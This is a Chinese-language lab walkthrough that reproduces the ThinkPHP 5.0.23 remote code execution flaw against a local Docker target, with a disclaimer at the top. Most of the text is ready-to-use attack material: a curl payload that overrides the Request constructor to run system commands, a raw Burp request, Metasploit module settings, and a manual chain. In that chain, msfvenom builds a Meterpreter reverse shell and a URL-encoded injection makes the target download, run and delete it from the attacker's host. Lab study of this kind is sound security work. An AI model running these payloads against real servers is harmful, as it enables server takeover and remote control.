实验操作均在本地靶机内操作,据网络安全法,作者不对因阅读、理解、误用或滥用本文内容而导致的任何直接、间接、附带或后果性损害承担责任。
1、靶场搭建
在 docker 环境 部署,将 thinkphp-5.0.23.tar.gz 靶场传入 centos,导入镜像:
docker load -i thinkphp-5.0.23.tar.gz

查看导入的镜像:
docker images

准备好rce环境配置并启动靶场环境:
cd /root/thinkphp/5.0.23-rce/
docker compose up -d

然后查看靶场访问地址:
cat docker-compose.yml

容器 80 映射到了主机 8080 端口,那么我们访问 <centos主机ip:8080> 即可。

靶场准备完毕。
2、漏洞复现
2.1 curl 传参复现
curl http://192.168.124.15:8080/index.php?s=captcha -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id" | head -n 1
漏洞利用链:
- 属性覆盖:通过
_method=__construct,攻击者成功覆盖了 Request 对象的filter和method等属性。 - 参数获取:当框架后续调用 Request 对象的
get()方法(由method=get指定)时,该方法会尝试获取用户输入的参数。 - 过滤器应用:在获取参数的过程中,框架会应用之前设置的
filter(即system函数)。 - 命令执行:最终,框架会执行类似
system('id')的操作。这里的'id'字符串正是来自server[REQUEST_METHOD]=id这个参数的值。 - 结果返回:
id命令在服务器上执行,并将结果作为 HTTP 响应体返回给攻击者。
-d 表示发送带参数的请求(默认是 post 方式提交),head -n 1 是指定只显示前 1 行,我们只要命令执行结果就行,?s=captcha会让服务器框架会根据 captcha 这个路径字符串,自动匹配到对应的控制器(如 CaptchaController)和方法,从而执行相应的业务逻辑。

2.2 bp发包复现
只是发包,bp 不用开代理拦截,进入重放器编辑数据包发送即可:
POST /index.php?s=captcha HTTP/1.1
Host: 192.168.124.15:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 72
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=id

得到结果:

2.3 msf复现
search thinkphp 查找相关漏洞:

使用它,并配置好 options(SRVPORT参数会在本机启动一个 8080 端口的 web 服务提供恶意文件下载到目标主机然后上线。):
set rhosts 192.168.124.15
set rport 8080
set lhost 192.168.124.66
set srvport 8080
run

3、手动实现 msf 漏洞利用流程
3.1 生成后门并启用web
msfvenom -p linux/x64/meterpreter_reverse_tcp lhost=192.168.124.66 lport=4444 -f elf -o reverse_tcp_shell
python3 -m http.server 80
3.2 配置侦听
msfdb run
use exploit/multi/handler
set payload linux/x64/meterpreter_reverse_tcp
set lhost 192.168.124.66
run
3.3 漏洞利用语句
curl http://192.168.124.15:8080/index.php?s=captcha -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=curl -so /tmp/reverse_tcp_shell http://192.168.124.66/reverse_tcp_shell;chmod +x /tmp/reverse_tcp_shell;/tmp/reverse_tcp_shell;rm -f /tmp/reverse_tcp_shell"
执行的内容和 msf 一样:
- 下载 reverse_tcp_shell
- 添加执行权限
- 执行
- 删除
发送的命令比较长,存在一些特殊符号,所以需要进行 url 编码。

curl http://192.168.124.15:8080/index.php?s=captcha -d "_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=%63%75%72%6c%20%2d%73%6f%20%2f%74%6d%70%2f%72%65%76%65%72%73%65%5f%74%63%70%5f%73%68%65%6c%6c%20%68%74%74%70%3a%2f%2f%31%39%32%2e%31%36%38%2e%31%32%34%2e%36%36%2f%72%65%76%65%72%73%65%5f%74%63%70%5f%73%68%65%6c%6c%3b%63%68%6d%6f%64%20%2b%78%20%2f%74%6d%70%2f%72%65%76%65%72%73%65%5f%74%63%70%5f%73%68%65%6c%6c%3b%2f%74%6d%70%2f%72%65%76%65%72%73%65%5f%74%63%70%5f%73%68%65%6c%6c%3b%72%6d%20%2d%66%20%2f%74%6d%70%2f%72%65%76%65%72%73%65%5f%74%63%70%5f%73%68%65%6c%6c"
利用成功:

做完实验后在 centos 关闭环境。
docker compose down
